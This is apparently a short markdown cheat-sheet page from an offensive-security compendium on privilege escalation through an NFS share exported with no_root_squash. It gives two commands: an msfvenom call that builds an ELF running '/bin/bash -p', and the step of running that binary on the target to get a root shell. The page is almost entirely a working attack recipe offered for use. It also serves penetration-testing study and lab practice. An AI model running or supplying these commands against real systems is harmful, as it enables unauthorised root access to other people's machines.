killchain-compendium/post_exploitation/docs/nfs_root_squash.md

14 lines
213 B
Markdown

# NFS NO ROOT SQUASH
* Mount nfs locally and gain root
## Craft a Shell
```sh
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
```
* Copy to target and use it
```sh
./shell.elf -p
```